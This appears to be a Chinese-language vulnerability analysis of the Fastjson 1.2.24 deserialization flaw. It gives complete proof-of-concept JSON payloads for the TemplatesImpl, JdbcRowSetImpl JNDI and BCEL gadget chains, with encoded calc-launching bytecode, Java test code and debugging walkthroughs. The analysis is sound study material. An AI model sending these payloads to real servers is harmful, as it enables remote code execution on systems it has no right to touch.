fastjson1.2.24反序列化漏洞
影响版本
Fastjson 1.2.x系列的1.2.22-1.2.24版本。
TemplateImpl的利用链
条件
- 服务端使用parseObject()时,必须使用如下格式才能触发漏洞: JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
- 服务端使用parse()时,需要 JSON.parse(text1,Feature.SupportNonPublicField)
流程
poc
String evilCode = Base64.encodeBase64String(Calc.getCodeByte()); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" + evilCode + "\"],'name':'yyjccc','_tfactory':{ },\"_outputProperties\":{ },"; System.out.println(text);
|
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes":["yv66vgAAADQAGQEABll5amNjYwcAAQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAMBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcACAEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAoACwoACQAMAQAEY2FsYwgADgEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABAAEQoACQASAQAGPGluaXQ+DAAUAAYKAAQAFQEAClNvdXJjZUZpbGUBAAtZeWpjY2MuamF2YQAhAAIABAAAAAAAAgAIAAUABgABAAcAAAAWAAIAAAAAAAq4AA0SD7YAE1exAAAAAAABABQABgABAAcAAAARAAEAAQAAAAUqtwAWsQAAAAAAAQAXAAAAAgAY"], "_name":"yyjccc", "_tfactory":{ }, "_outputProperties":{ } }
|
测试代码:
package com.yyjccc.FastjsonExp;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.yyjccc.javassist.Calc; import org.apache.commons.codec.binary.Base64; import org.apache.commons.io.IOUtils;
import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException;
public class TemplatesImplPoc {
public static void main(String args[]) { try { ParserConfig config = new ParserConfig(); String evilCode = Base64.encodeBase64String(Calc.getCodeByte()); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text = "{\"@type\":\"" + NASTY_CLASS + "\",\n\"_bytecodes\":[\"" + evilCode + "\"],\n\"_name\":\"yyjccc\",\n\"_tfactory\":{ },\n\"_outputProperties\":{ }\n}"; System.out.println(text);
Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } } }
|
设置允许设置私有属性
设置Feature.SupportNonPublicField
ParserConfig config = new ParserConfig(); Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
|
调试
因为设置支持私有属性,所以能够直接反射赋值
- _bytecodes数据的base64解码
在读取_bytecodes属性的时候,应为_bytecodes属性为Class数组
会走进ObjectArrayCodec类中deserialze方法中
继续跟进
在JSONScaner中的bytesValue对数据进行base64解码
- . this.sortedFieldDeserializers和this.extraFieldDeserializers两组List区别
FieldDeserializers 是存放了各个属性的反序列化器,其中主要属性和方法:
- fieldInfo存放属性名,属性getter/setter,Field对象等信息;
- clazz 存放属性所属类的Class对象
- parseField() 根据fieldType获取对应的fieldValueDeserilizer完成对属性值的反序列化 和 赋值操作
- this.sortedFieldDeserializerssortedFieldDeserializers存放的属性主要来源于beanInfo,在beanInfo的build方法中会将setter/getter符合条件的FieldInfo增加到beanInfo.sortedFields中。其中的FieldInfo都包含了Method对象,最终都通过Method.invoke()进行赋值;
- this.extraFieldDeserializers
extraFieldDeserializers 会将getDeclaredFields 符合修饰符条件的Field增加进去。
FieldInfo Method对象为空,最终都通过Field.set()进行赋值;
除去_outputProperties前面的_
在JavaBeanDeserializer#smartMatch中处理
当没有获取到deserializer的时候
处理属性名除去_
到最后操作_outputProperties的时候触发链子
触发到达TemplateImpl#getOutputProperties中
往下就是非常常见的TemplatesImpl字节码加载的触发链
跟进newTransformer中
跟进getTransletInstance中
_name属性不能为null,否则提前退出
进入defineTransletClasses()
创建了一个类加载器,然后如下循环加载_bytecodes中的字符数组
加载后会检查加载的类是否是继承于com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
因此加载的恶意类需要设置父类:AbstractTranslet
JdbcRowSetImpl利用链
条件
- fastjson版本<=1.2.24
- 机器能出网,能够打jndi
流程
BaseRowSet#setDataSourceName
JdbcRowSetImpl#setAutoCommit-> JdbcRowSetImpl#connect-> JdbcRowSetImpl#getDataSourceName lookup()
|
Poc
{ "@type":"com.sun.rowset.JdbcRowSetImpl", "DataSourceName":"rmi://127.0.0.1:8085/YjQUxZVf", "AutoCommit":false }
|
测试代码
public class JdbcRowSetImplPoc { public static void main(String[] args) { String jndiAddress="rmi://127.0.0.1:8085/YjQUxZVf"; String data="{\n\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n\"DataSourceName\":\""+jndiAddress+"\",\n\"AutoCommit\":false\n}"; System.out.println(data); JSON.parseObject(data); } }
|
调式
在设置AutoCommit属性的时候触发链子
JdbcRowSetImpl#setAutoCommit方法中
跟进connect方法
这里直接初始化了JNDI上下文环境,使用lookup查询DataSourceName
因此可以设置DataSourceName的值打jndi
Bcel字节码加载攻击链
条件
- 需要有如下commons-dbcp依赖或者tomc-dbcp依赖
- fastjson<=1.2.36
- jdk<8u251
特殊点: com.sun.org.apache.bcel是位于原生的JDK中的:
BCEL Classloader在 JDK < 8u251之前是在rt.jar里面。
- 自定义使用加载类的Classloader为com.sun.org.apache.bcel.internal.util.ClassLoader
- 自定义指定Classloader加载的类名
Poc
- commons-dbcp
<dependency> <groupId>commons-dbcp</groupId> <artifactId>commons-dbcp</artifactId> <version>1.4</version> </dependency>
|
po
流程
BasicDataSource#setDriverClassName() BasicDataSource#setDriverClassLoader()
BasicDataSource#getConnection()-> BasicDataSource#createDataSource()-> BasicDataSource#createConnectionFactory()-> Class.forName()
|
- tomcat-dbcp
<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.65</version> </dependency>
|
poc{ "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$Ae$8f$cdJ$c3P$Q$85$cf$f4$t$89$b7Q$9bj$ab$$$5d$99$ba$b0$hw$zn$EW$82bAq$Z$c7K$b8$n$s$90$de$W$7d$y7$w$$$7c$A$lJ$9c$h$x$W$9c$cd$cca$ce$7c$9c$f9$fcz$ff$Ap$8c$3d$82w$fb$941$b3$P$ot$b3d$91$8c$f2$a4HG$Xw$99f$eb$a3I$I$s$9c$9b$c2$d8$TB3$k$5e$TZ$a7$e5$bd$sD$7f$ee$abya$cd$83$f6$R$QT$aa$edR$T$fa$f1$f0$fc$9fm$iB$a1$a3$b0$86P$60$9c$e4$i$60C$s$fd$a8$99p$Q$af$5cLme$8at$bc$K$b9$acJ$d6$b3$99$40$ba$88$i$a4$tOL$ea$80$n$b6$e1$v$b4$d0$97$Y$d3r$5e$b1$3e3$b9$c4$e8$fc$3cy$e4$u$d8GC$y$ae$g$I$d0$86$H$82$_j$m$da$95z$c3zo$f3$F$5b7$cf$b5$sG$5dz$o$e9$q$bd$7d$f8$8a$c1$efz$a7F$ed$7e$D$3c$n8iV$B$A$A", "driverClassLoader":{ "@type":"com.sun.org.apache.bcel.internal.util.ClassLoader" } }
|
org.apache.tomcat.dbcp.dbcp.BasicDataSource
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
流程
BasicDataSource#setDriverClassName() BasicDataSource#setDriverClassLoader()
BasicDataSource#getConnection()-> BasicDataSource#createDataSource()-> BasicDataSource#createConnectionFactory()-> DriverFactory#createDrive()-> Class.forName()
|
c
{ "@type":"org.apache.commons.dbcp.BasicDataSource", "driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$Ae$8f$cdJ$c3P$Q$85$cf$f4$t$89$b7Q$9bj$ab$$$5d$99$ba$b0$hw$zn$EW$82bAq$Z$c7K$b8$n$s$90$de$W$7d$y7$w$$$7c$A$lJ$9c$h$x$W$9c$cd$cca$ce$7c$9c$f9$fcz$ff$Ap$8c$3d$82w$fb$941$b3$P$ot$b3d$91$8c$f2$a4HG$Xw$99f$eb$a3I$I$s$9c$9b$c2$d8$TB3$k$5e$TZ$a7$e5$bd$sD$7f$ee$abya$cd$83$f6$R$QT$aa$edR$T$fa$f1$f0$fc$9fm$iB$a1$a3$b0$86P$60$9c$e4$i$60C$s$fd$a8$99p$Q$af$5cLme$8at$bc$K$b9$acJ$d6$b3$99$40$ba$88$i$a4$tOL$ea$80$n$b6$e1$v$b4$d0$97$Y$d3r$5e$b1$3e3$b9$c4$e8$fc$3cy$e4$u$d8GC$y$ae$g$I$d0$86$H$82$_j$m$da$95z$c3zo$f3$F$5b7$cf$b5$sG$5dz$o$e9$q$bd$7d$f8$8a$c1$efz$a7F$ed$7e$D$3c$n8iV$B$A$A", "driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader" } }
|
上面payload只是parseObject方法能够触发
parse下能够触发
{ { "x":{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$..." } }: "x" }
|
- 首先是将原payload包上{},放在value的位置,这样反序列化后,就会获得一个JSONObject对象
- 之后再将其包上{},放在key的位置,在Parse中,Key为Json,则会调用其toString方法,而toString会触发getter(ASM实现),从而实现触发。
也就是先再外部套一层构造出JSONObject
再使其为key,放入json中
这里反序列化JSONObject的时候,会调用JSONObject.toString方法,然后调用getter方法
测试代码
package com.yyjccc.fastjson.exp.low;
import com.alibaba.fastjson.JSON; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.yyjccc.javassist.Calc; import java.io.IOException;
public class BcelCodeLoadGadget {
public static String bcelEncode(byte[] bytecode) {
try { return "$$BCEL$$" + Utility.encode(bytecode, true); } catch (IOException e) { throw new RuntimeException(e); }
}
public static void main(String[] args) {
String BCELCode=bcelEncode(Calc.getCodeByte()); String data=TomcatGadgetHigh(BCELCode); JSON.parseObject(data); }
public static String commonGadget(String BCELCode){ String data="{\"@type\":\"org.apache.commons.dbcp.BasicDataSource\",\n\"driverClassName\":\""+BCELCode+"\",\n\"driverClassLoader\":{\n\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n}\n}"; System.out.println(data); return data; }
public static String TomcatGadgetHigh(String BCELCode){ String data="{\n\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n\"driverClassName\":\""+BCELCode+"\",\n\"driverClassLoader\":{\n\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n}\n}"; System.out.println(data); return data; } }
|
调式
注:调的是tomcat-dbcp,另外一个代码稍有不一样
先看看Bcel的ClassLoader
com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass()
会判断是否是$$BCEL$$开头
跟进createClass方法
会去除固定前缀,后面使用Utility.decode进行解码
看一眼Utility#decode
里面还使用了gzip
再看看对应的encode
这里是没有加上前缀的,写一个bcel字节码编码函数
public static String bcelEncode(byte[] bytecode) { try { return "$$BCEL$$" + Utility.encode(bytecode, true); } catch (IOException e) { throw new RuntimeException(e); }
}
|
再看看触发函数
parseObject函数后面会调用JSON.toJSON方法,
在这里会调用所有的getter方法
BasicDataSource#getConnection
跟进createDataSource方法
继续跟进createConnectionFactory方法
然后到达DriverFactory#createDriver方法
forName加载字节码,并进行了初始化
Reference